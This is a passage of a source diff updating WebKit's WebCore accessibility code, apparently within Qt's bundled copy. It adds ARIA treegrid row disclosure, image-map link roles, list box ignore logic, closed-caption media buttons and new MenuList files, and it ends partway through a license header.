+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityARIAGrid.cpp
@@ -29,11 +29,11 @@
 #include "config.h"
 #include "AccessibilityARIAGrid.h"
 
+#include "AXObjectCache.h"
 #include "AccessibilityTableCell.h"
 #include "AccessibilityTableColumn.h"
 #include "AccessibilityTableHeaderContainer.h"
 #include "AccessibilityTableRow.h"
-#include "AXObjectCache.h"
 #include "RenderObject.h"
 
 using namespace std;
@@ -131,13 +131,12 @@ AccessibilityTableCell* AccessibilityARIAGrid::cellForColumnAndRow(unsigned colu
     if (!m_renderer)
         return 0;
     
-    if (!hasChildren())
-        addChildren();
+    updateChildrenIfNecessary();
     
     if (column >= columnCount() || row >= rowCount())
         return 0;
     
-    AccessibilityObject *tableRow = m_rows[row].get();
+    AccessibilityObject* tableRow = m_rows[row].get();
     if (!tableRow)
         return 0;
     
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityARIAGrid.h b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityARIAGrid.h
index 32c8ce9..3511f0f 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityARIAGrid.h
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityARIAGrid.h
@@ -52,6 +52,9 @@ public:
     virtual AccessibilityTableCell* cellForColumnAndRow(unsigned column, unsigned row);
 
 private:
+    // ARIA treegrids and grids support selected rows.
+    virtual bool supportsSelectedRows() { return true; }    
+
     void addChild(AccessibilityObject* object, HashSet<AccessibilityObject*>& appendedRows, unsigned& columnCount);
 };
 
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityARIAGridRow.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityARIAGridRow.cpp
index 6e1f1c8..7d562d9 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityARIAGridRow.cpp
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityARIAGridRow.cpp
@@ -30,6 +30,7 @@
 #include "AccessibilityARIAGridRow.h"
 
 #include "AccessibilityObject.h"
+#include "AccessibilityTable.h"
 #include "RenderObject.h"
 
 using namespace std;
@@ -50,6 +51,71 @@ PassRefPtr<AccessibilityARIAGridRow> AccessibilityARIAGridRow::create(RenderObje
     return adoptRef(new AccessibilityARIAGridRow(renderer));
 }
 
+bool AccessibilityARIAGridRow::isARIATreeGridRow() const
+{
+    AccessibilityObject* parent = parentTable();
+    if (!parent)
+        return false;
+    
+    return parent->ariaRoleAttribute() == TreeGridRole;
+}
+    
+void AccessibilityARIAGridRow::disclosedRows(AccessibilityChildrenVector& disclosedRows)
+{
+    // The contiguous disclosed rows will be the rows in the table that 
+    // have an aria-level of plus 1 from this row.
+    AccessibilityObject* parent = parentObjectUnignored();
+    if (!parent || !parent->isDataTable())
+        return;
+    
+    // Search for rows that match the correct level. 
+    // Only take the subsequent rows from this one that are +1 from this row's level.
+    int index = rowIndex();
+    if (index < 0)
+        return;
+    
+    unsigned level = hierarchicalLevel();
+    AccessibilityChildrenVector& allRows = static_cast<AccessibilityTable*>(parent)->rows();
+    int rowCount = allRows.size();
+    for (int k = index + 1; k < rowCount; ++k) {
+        AccessibilityObject* row = allRows[k].get();
+        // Stop at the first row that doesn't match the correct level.
+        if (row->hierarchicalLevel() != level + 1)
+            break;
+
+        disclosedRows.append(row);
+    }
+}
+    
+AccessibilityObject* AccessibilityARIAGridRow::disclosedByRow() const
+{
+    // The row that discloses this one is the row in the table
+    // that is aria-level subtract 1 from this row.
+    AccessibilityObject* parent = parentObjectUnignored();
+    if (!parent || !parent->isDataTable())
+        return 0;
+    
+    // If the level is 1 or less, than nothing discloses this row.
+    unsigned level = hierarchicalLevel();
+    if (level <= 1)
+        return 0;
+    
+    // Search for the previous row that matches the correct level.
+    int index = rowIndex();
+    AccessibilityChildrenVector& allRows = static_cast<AccessibilityTable*>(parent)->rows();
+    int rowCount = allRows.size();
+    if (index >= rowCount)
+        return 0;
+    
+    for (int k = index - 1; k >= 0; --k) {
+        AccessibilityObject* row = allRows[k].get();
+        if (row->hierarchicalLevel() == level - 1)
+            return row;
+    }
+    
+    return 0;
+}
+    
 AccessibilityObject* AccessibilityARIAGridRow::parentTable() const
 {
     AccessibilityObject* parent = parentObjectUnignored();
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityARIAGridRow.h b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityARIAGridRow.h
index c2ca8b8..f89ea92 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityARIAGridRow.h
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityARIAGridRow.h
@@ -41,8 +41,14 @@ public:
     static PassRefPtr<AccessibilityARIAGridRow> create(RenderObject*);
     virtual ~AccessibilityARIAGridRow();
     
+    void disclosedRows(AccessibilityChildrenVector&);
+    AccessibilityObject* disclosedByRow() const;
+    
     virtual AccessibilityObject* headerObject();
     virtual AccessibilityObject* parentTable() const;    
+    
+private:
+    virtual bool isARIATreeGridRow() const;
 }; 
     
 } // namespace WebCore 
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityAllInOne.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityAllInOne.cpp
index 83cf5d0..9cf2068 100755
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityAllInOne.cpp
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityAllInOne.cpp
@@ -25,6 +25,7 @@
 
 // This all-in-one cpp file cuts down on template bloat to allow us to build our Windows release build.
 
+#include <AXObjectCache.cpp>
 #include <AccessibilityARIAGrid.cpp>
 #include <AccessibilityARIAGridCell.cpp>
 #include <AccessibilityARIAGridRow.cpp>
@@ -35,10 +36,10 @@
 #include <AccessibilityMediaControls.cpp>
 #include <AccessibilityObject.cpp>
 #include <AccessibilityRenderObject.cpp>
+#include <AccessibilityScrollbar.cpp>
 #include <AccessibilitySlider.cpp>
 #include <AccessibilityTable.cpp>
 #include <AccessibilityTableCell.cpp>
 #include <AccessibilityTableColumn.cpp>
 #include <AccessibilityTableHeaderContainer.cpp>
 #include <AccessibilityTableRow.cpp>
-#include <AXObjectCache.cpp>
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityImageMapLink.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityImageMapLink.cpp
index 943122e..06150b9 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityImageMapLink.cpp
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityImageMapLink.cpp
@@ -29,8 +29,8 @@
 #include "config.h"
 #include "AccessibilityImageMapLink.h"
 
-#include "AccessibilityRenderObject.h"
 #include "AXObjectCache.h"
+#include "AccessibilityRenderObject.h"
 #include "Document.h"
 #include "HTMLNames.h"
 #include "IntRect.h"
@@ -68,6 +68,18 @@ AccessibilityObject* AccessibilityImageMapLink::parentObject() const
     return m_mapElement->document()->axObjectCache()->getOrCreate(m_mapElement->renderer());
 }
     
+AccessibilityRole AccessibilityImageMapLink::roleValue() const
+{
+    if (!m_areaElement)
+        return WebCoreLinkRole;
+    
+    const AtomicString& ariaRole = m_areaElement->getAttribute(roleAttr);
+    if (!ariaRole.isEmpty())
+        return AccessibilityObject::ariaRoleToWebCoreRole(ariaRole);
+
+    return WebCoreLinkRole;
+}
+    
 Element* AccessibilityImageMapLink::actionElement() const
 {
     return anchorElement();
@@ -134,5 +146,15 @@ IntSize AccessibilityImageMapLink::size() const
 {
     return elementRect().size();
 }
-    
+
+String AccessibilityImageMapLink::stringValueForMSAA() const
+{
+    return url();
+}
+
+String AccessibilityImageMapLink::nameForMSAA() const
+{
+    return accessibilityDescription();
+}
+
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityImageMapLink.h b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityImageMapLink.h
index 2c27e46..ca4c62c 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityImageMapLink.h
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityImageMapLink.h
@@ -44,21 +44,29 @@ public:
     virtual ~AccessibilityImageMapLink();
     
     void setHTMLAreaElement(HTMLAreaElement* element) { m_areaElement = element; }
+    HTMLAreaElement* areaElement() const { return m_areaElement; }
+    
     void setHTMLMapElement(HTMLMapElement* element) { m_mapElement = element; }    
+    HTMLMapElement* mapElement() const { return m_mapElement; }
+    
     void setParent(AccessibilityObject* parent) { m_parent = parent; }
         
-    virtual AccessibilityRole roleValue() const { return WebCoreLinkRole; }
+    virtual AccessibilityRole roleValue() const;
     virtual bool accessibilityIsIgnored() const { return false; }
     virtual bool isEnabled() const { return true; }
-
+    
     virtual AccessibilityObject* parentObject() const;
     virtual Element* anchorElement() const;
     virtual Element* actionElement() const;
     virtual KURL url() const;
     virtual bool isLink() const { return true; } 
+    virtual bool isLinked() const { return true; }
     virtual String title() const;
     virtual String accessibilityDescription() const;
-    
+
+    virtual String stringValueForMSAA() const;
+    virtual String nameForMSAA() const;
+
     virtual IntSize size() const;
     virtual IntRect elementRect() const;
 
@@ -66,6 +74,8 @@ private:
     HTMLAreaElement* m_areaElement;
     HTMLMapElement* m_mapElement;
     AccessibilityObject* m_parent;
+    
+    virtual bool isImageMapLink() const { return true; }
 };
     
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityList.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityList.cpp
index 95239b0..073b0fc 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityList.cpp
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityList.cpp
@@ -55,6 +55,12 @@ PassRefPtr<AccessibilityList> AccessibilityList::create(RenderObject* renderer)
 
 bool AccessibilityList::accessibilityIsIgnored() const
 {
+    AccessibilityObjectInclusion decision = accessibilityIsIgnoredBase();
+    if (decision == IncludeObject)
+        return false;
+    if (decision == IgnoreObject)
+        return true;
+    
     // lists don't appear on tiger/leopard on the mac
 #if ACCESSIBILITY_LISTS
     return false;
@@ -83,7 +89,11 @@ bool AccessibilityList::isOrderedList() const
 {
     if (!m_renderer)
         return false;
-    
+
+    // ARIA says a directory is like a static table of contents, which sounds like an ordered list.
+    if (ariaRoleAttribute() == DirectoryRole)
+        return true;
+
     Node* node = m_renderer->node();
     return node && node->hasTagName(olTag);    
 }
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityList.h b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityList.h
index 89befb2..b7265b2 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityList.h
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityList.h
@@ -47,7 +47,7 @@ public:
     static PassRefPtr<AccessibilityList> create(RenderObject*);
     virtual ~AccessibilityList();
     
-    virtual bool isList() const { return true; };
+    virtual bool isList() const { return true; }
     bool isUnorderedList() const;
     bool isOrderedList() const;
     bool isDefinitionList() const;
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityListBox.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityListBox.cpp
index 1f37481..8a9e062 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityListBox.cpp
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityListBox.cpp
@@ -31,9 +31,9 @@
 
 #include "AXObjectCache.h"
 #include "AccessibilityListBoxOption.h"
-#include "HitTestResult.h"
 #include "HTMLNames.h"
 #include "HTMLSelectElement.h"
+#include "HitTestResult.h"
 #include "RenderListBox.h"
 #include "RenderObject.h"
 
@@ -78,9 +78,9 @@ void AccessibilityListBox::addChildren()
     unsigned length = listItems.size();
     for (unsigned i = 0; i < length; i++) {
         // The cast to HTMLElement below is safe because the only other possible listItem type
-        // would be a WMLElement, but WML builds don't use accessbility features at all.
+        // would be a WMLElement, but WML builds don't use accessibility features at all.
         AccessibilityObject* listOption = listBoxOptionAccessibilityObject(static_cast<HTMLElement*>(listItems[i]));
-        if (listOption)
+        if (listOption && !listOption->accessibilityIsIgnored())
             m_children.append(listOption);
     }
 }
@@ -151,6 +151,17 @@ AccessibilityObject* AccessibilityListBox::listBoxOptionAccessibilityObject(HTML
     
     return listBoxObject;
 }
+    
+bool AccessibilityListBox::accessibilityIsIgnored() const
+{
+    AccessibilityObjectInclusion decision = accessibilityIsIgnoredBase();
+    if (decision == IncludeObject)
+        return false;
+    if (decision == IgnoreObject)
+        return true;
+    
+    return false;
+}
 
 AccessibilityObject* AccessibilityListBox::doAccessibilityHitTest(const IntPoint& point) const
 {
@@ -165,16 +176,21 @@ AccessibilityObject* AccessibilityListBox::doAccessibilityHitTest(const IntPoint
     
     IntRect parentRect = boundingBoxRect();
     
-    const Vector<Element*>& listItems = static_cast<HTMLSelectElement*>(node)->listItems();
-    unsigned length = listItems.size();
+    AccessibilityObject* listBoxOption = 0;
+    unsigned length = m_children.size();
     for (unsigned i = 0; i < length; i++) {
         IntRect rect = toRenderListBox(m_renderer)->itemBoundingBoxRect(parentRect.x(), parentRect.y(), i);
         // The cast to HTMLElement below is safe because the only other possible listItem type
-        // would be a WMLElement, but WML builds don't use accessbility features at all.
-        if (rect.contains(point))
-            return listBoxOptionAccessibilityObject(static_cast<HTMLElement*>(listItems[i]));
+        // would be a WMLElement, but WML builds don't use accessibility features at all.
+        if (rect.contains(point)) {
+            listBoxOption = m_children[i].get();
+            break;
+        }
     }
     
+    if (listBoxOption && !listBoxOption->accessibilityIsIgnored())
+        return listBoxOption;
+    
     return axObjectCache()->getOrCreate(m_renderer);
 }
 
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityListBox.h b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityListBox.h
index 3f3352d..72ce82f 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityListBox.h
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityListBox.h
@@ -43,15 +43,13 @@ public:
     virtual ~AccessibilityListBox();
     
     virtual AccessibilityObject* doAccessibilityHitTest(const IntPoint&) const;
-    virtual bool isListBox() const { return true; };
+    virtual bool isListBox() const { return true; }
     
     virtual bool canSetFocusAttribute() const { return true; }
     virtual bool canSetSelectedChildrenAttribute() const;
     void setSelectedChildren(AccessibilityChildrenVector&);
     virtual AccessibilityRole roleValue() const { return ListBoxRole; }
-    
-    virtual bool accessibilityIsIgnored() const { return false; }
-    
+        
     virtual void selectedChildren(AccessibilityChildrenVector&);
     virtual void visibleChildren(AccessibilityChildrenVector&);
     
@@ -59,6 +57,7 @@ public:
 
 private:    
     AccessibilityObject* listBoxOptionAccessibilityObject(HTMLElement*) const;
+    virtual bool accessibilityIsIgnored() const;
 };
     
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityListBoxOption.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityListBoxOption.cpp
index 6e3bf98..57519e3 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityListBoxOption.cpp
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityListBoxOption.cpp
@@ -34,12 +34,12 @@
 #include "Element.h"
 #include "HTMLElement.h"
 #include "HTMLNames.h"
-#include "HTMLOptionElement.h"
 #include "HTMLOptGroupElement.h"
+#include "HTMLOptionElement.h"
 #include "HTMLSelectElement.h"
 #include "IntRect.h"
-#include "RenderObject.h"
 #include "RenderListBox.h"
+#include "RenderObject.h"
 
 using namespace std;
 
@@ -105,6 +105,22 @@ IntRect AccessibilityListBoxOption::elementRect() const
     return rect;
 }
 
+bool AccessibilityListBoxOption::accessibilityIsIgnored() const
+{
+    if (!m_optionElement)
+        return true;
+    
+    if (equalIgnoringCase(getAttribute(m_optionElement, aria_hiddenAttr), "true"))
+        return true;
+    
+    return parentObject()->accessibilityIsIgnored();
+}
+    
+String AccessibilityListBoxOption::language() const
+{
+    return AccessibilityObject::language(m_optionElement);
+}
+
 bool AccessibilityListBoxOption::canSetSelectedAttribute() const
 {
     if (!m_optionElement)
@@ -128,6 +144,10 @@ String AccessibilityListBoxOption::stringValue() const
     if (!m_optionElement)
         return String();
     
+    const AtomicString& ariaLabel = getAttribute(m_optionElement, aria_labelAttr);
+    if (!ariaLabel.isNull())
+        return ariaLabel;
+    
     if (m_optionElement->hasTagName(optionTag))
         return static_cast<HTMLOptionElement*>(m_optionElement)->text();
     
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityListBoxOption.h b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityListBoxOption.h
index 933cdeb..1da77e7 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityListBoxOption.h
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityListBoxOption.h
@@ -51,7 +51,7 @@ public:
     void setHTMLElement(HTMLElement* element) { m_optionElement = element; }
     
     virtual AccessibilityRole roleValue() const { return ListBoxOptionRole; }
-    virtual bool accessibilityIsIgnored() const { return false; }
+    virtual bool accessibilityIsIgnored() const;
     virtual bool isSelected() const;
     virtual bool isEnabled() const;
     virtual String stringValue() const;
@@ -63,11 +63,12 @@ public:
     virtual IntRect elementRect() const;
     virtual IntSize size() const;
     virtual AccessibilityObject* parentObject() const;
-    bool isListBoxOption() const { return true; };
+    bool isListBoxOption() const { return true; }
     
 private:
     HTMLElement* m_optionElement;
     
+    virtual String language() const;
     virtual bool canHaveChildren() const { return false; }
     HTMLSelectElement* listBoxOptionParentNode() const;
     int listBoxOptionIndex() const;
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMediaControls.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMediaControls.cpp
index 7200de9..6151840 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMediaControls.cpp
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMediaControls.cpp
@@ -113,6 +113,8 @@ String AccessibilityMediaControl::controlTypeName() const
     DEFINE_STATIC_LOCAL(const String, mediaStatusDisplayName, ("StatusDisplay"));
     DEFINE_STATIC_LOCAL(const String, mediaCurrentTimeDisplay, ("CurrentTimeDisplay"));
     DEFINE_STATIC_LOCAL(const String, mediaTimeRemainingDisplay, ("TimeRemainingDisplay"));
+    DEFINE_STATIC_LOCAL(const String, mediaShowClosedCaptionsButtonName, ("ShowClosedCaptionsButton"));
+    DEFINE_STATIC_LOCAL(const String, mediaHideClosedCaptionsButtonName, ("HideClosedCaptionsButton"));
 
     switch (controlType()) {
     case MediaFullscreenButton:
@@ -139,6 +141,10 @@ String AccessibilityMediaControl::controlTypeName() const
         return mediaCurrentTimeDisplay;
     case MediaTimeRemainingDisplay:
         return mediaTimeRemainingDisplay;
+    case MediaShowClosedCaptionsButton:
+        return mediaShowClosedCaptionsButtonName;
+    case MediaHideClosedCaptionsButton:
+        return mediaHideClosedCaptionsButtonName;
 
     default:
         break;
@@ -187,6 +193,8 @@ AccessibilityRole AccessibilityMediaControl::roleValue() const
     case MediaReturnToRealtimeButton:
     case MediaUnMuteButton:
     case MediaPauseButton:
+    case MediaShowClosedCaptionsButton:
+    case MediaHideClosedCaptionsButton:
         return ButtonRole;
 
     case MediaStatusDisplay:
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMediaControls.h b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMediaControls.h
index 9b306fd..6f51b2c 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMediaControls.h
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMediaControls.h
@@ -37,77 +37,77 @@
 
 namespace WebCore {
 
-    class AccessibilityMediaControl : public AccessibilityRenderObject {
+class AccessibilityMediaControl : public AccessibilityRenderObject {
 
-    public:
-        static PassRefPtr<AccessibilityObject> create(RenderObject*);
-        virtual ~AccessibilityMediaControl() { }
+public:
+    static PassRefPtr<AccessibilityObject> create(RenderObject*);
+    virtual ~AccessibilityMediaControl() { }
 
-        virtual AccessibilityRole roleValue() const;
-        virtual bool accessibilityIsIgnored() const;
+    virtual AccessibilityRole roleValue() const;
+    virtual bool accessibilityIsIgnored() const;
 
-        virtual String title() const;
-        virtual String accessibilityDescription() const;
-        virtual String helpText() const;
+    virtual String title() const;
+    virtual String accessibilityDescription() const;
+    virtual String helpText() const;
 
-    protected:
-        AccessibilityMediaControl(RenderObject*);
-        MediaControlElementType controlType() const;
-        String controlTypeName() const;
-    };
+protected:
+    AccessibilityMediaControl(RenderObject*);
+    MediaControlElementType controlType() const;
+    String controlTypeName() const;
+};
 
 
-    class AccessibilityMediaTimeline : public AccessibilitySlider {
+class AccessibilityMediaTimeline : public AccessibilitySlider {
 
-    public:
-        static PassRefPtr<AccessibilityObject> create(RenderObject*);
-        virtual ~AccessibilityMediaTimeline() { }
+public:
+    static PassRefPtr<AccessibilityObject> create(RenderObject*);
+    virtual ~AccessibilityMediaTimeline() { }
 
-        virtual bool isMediaTimeline() const { return true; }
+    virtual bool isMediaTimeline() const { return true; }
 
-        virtual String helpText() const;
-        virtual String valueDescription() const;
-        const AtomicString& getAttribute(const QualifiedName& attribute) const;
+    virtual String helpText() const;
+    virtual String valueDescription() const;
+    const AtomicString& getAttribute(const QualifiedName& attribute) const;
 
-    private:
-        AccessibilityMediaTimeline(RenderObject*);
-    };
+private:
+    AccessibilityMediaTimeline(RenderObject*);
+};
 
 
-    class AccessibilityMediaControlsContainer : public AccessibilityMediaControl {
+class AccessibilityMediaControlsContainer : public AccessibilityMediaControl {
 
-    public:
-        static PassRefPtr<AccessibilityObject> create(RenderObject*);
-        virtual ~AccessibilityMediaControlsContainer() { }
+public:
+    static PassRefPtr<AccessibilityObject> create(RenderObject*);
+    virtual ~AccessibilityMediaControlsContainer() { }
 
-        virtual AccessibilityRole roleValue() const { return ToolbarRole; }
-        virtual bool accessibilityIsIgnored() const { return false; }
+    virtual AccessibilityRole roleValue() const { return ToolbarRole; }
+    virtual bool accessibilityIsIgnored() const { return false; }
 
-        virtual String helpText() const;
-        virtual String accessibilityDescription() const;
+    virtual String helpText() const;
+    virtual String accessibilityDescription() const;
 
-    private:
-        AccessibilityMediaControlsContainer(RenderObject*);
-        bool controllingVideoElement() const;
-        const String elementTypeName() const;
-    };
+private:
+    AccessibilityMediaControlsContainer(RenderObject*);
+    bool controllingVideoElement() const;
+    const String elementTypeName() const;
+};
 
 
-    class AccessibilityMediaTimeDisplay : public AccessibilityMediaControl {
+class AccessibilityMediaTimeDisplay : public AccessibilityMediaControl {
 
-    public:
-        static PassRefPtr<AccessibilityObject> create(RenderObject*);
-        virtual ~AccessibilityMediaTimeDisplay() { }
+public:
+    static PassRefPtr<AccessibilityObject> create(RenderObject*);
+    virtual ~AccessibilityMediaTimeDisplay() { }
 
-        virtual AccessibilityRole roleValue() const { return StaticTextRole; }
-        virtual bool accessibilityIsIgnored() const;
+    virtual AccessibilityRole roleValue() const { return StaticTextRole; }
+    virtual bool accessibilityIsIgnored() const;
 
-        virtual String stringValue() const;
-        virtual String accessibilityDescription() const;
+    virtual String stringValue() const;
+    virtual String accessibilityDescription() const;
 
-    private:
-        AccessibilityMediaTimeDisplay(RenderObject*);
-    };
+private:
+    AccessibilityMediaTimeDisplay(RenderObject*);
+};
 
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuList.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuList.cpp
new file mode 100644
index 0000000..05cdf97
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuList.cpp
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All Rights Reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+#include "AccessibilityMenuList.h"
+
+#include "AXObjectCache.h"
+#include "AccessibilityMenuListPopup.h"
+#include "RenderMenuList.h"
+
+namespace WebCore {
+
+AccessibilityMenuList::AccessibilityMenuList(RenderObject* renderer)
+    : AccessibilityRenderObject(renderer)
+{
+    ASSERT_ARG(renderer, renderer->isMenuList());
+}
+
+bool AccessibilityMenuList::press() const
+{
+    RenderMenuList* menuList = static_cast<RenderMenuList*>(m_renderer);
+    if (menuList->popupIsVisible())
+        menuList->hidePopup();
+    else
+        menuList->showPopup();
+    return true;
+}
+
+void AccessibilityMenuList::addChildren()
+{
+    m_haveChildren = true;
+
+    AXObjectCache* cache = m_renderer->document()->axObjectCache();
+
+    AccessibilityObject* list = cache->getOrCreate(MenuListPopupRole);
+    if (!list)
+        return;
+
+    if (list->accessibilityPlatformIncludesObject() == IgnoreObject) {
+        cache->remove(list->axObjectID());
+        return;
+    }
+
+    static_cast<AccessibilityMenuListPopup*>(list)->setMenuList(this);
+    m_children.append(list);
+
+    list->addChildren();
+}
+
+void AccessibilityMenuList::childrenChanged()
+{
+    if (m_children.isEmpty())
+        return;
+
+    ASSERT(m_children.size() == 1);
+    m_children[0]->childrenChanged();
+}
+
+bool AccessibilityMenuList::isCollapsed() const
+{
+    return !static_cast<RenderMenuList*>(m_renderer)->popupIsVisible();
+}
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuList.h b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuList.h
new file mode 100644
index 0000000..d00c8b4
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuList.h
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All Rights Reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef AccessibilityMenuList_h
+#define AccessibilityMenuList_h
+
+#include "AccessibilityObject.h"
+#include "AccessibilityRenderObject.h"
+
+namespace WebCore {
+
+class AccessibilityMenuList;
+class AccessibilityMenuListPopup;
+class HTMLOptionElement;
+
+class AccessibilityMenuList : public AccessibilityRenderObject {
+public:
+    static PassRefPtr<AccessibilityMenuList> create(RenderObject* renderer) { return adoptRef(new AccessibilityMenuList(renderer)); }
+
+    virtual bool isCollapsed() const;
+    virtual bool press() const;
+
+private:
+    AccessibilityMenuList(RenderObject*);
+
+    virtual bool isMenuList() const { return true; }
+    virtual AccessibilityRole roleValue() const { return PopUpButtonRole; }
+    virtual bool accessibilityIsIgnored() const { return false; }
+    virtual bool canSetFocusAttribute() const { return true; }
+
+    virtual void addChildren();
+    virtual void childrenChanged();
+};
+
+} // namespace WebCore
+
+#endif // AccessibilityMenuList_h
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuListOption.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuListOption.cpp
new file mode 100644
index 0000000..d7473de
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuListOption.cpp
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All Rights Reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
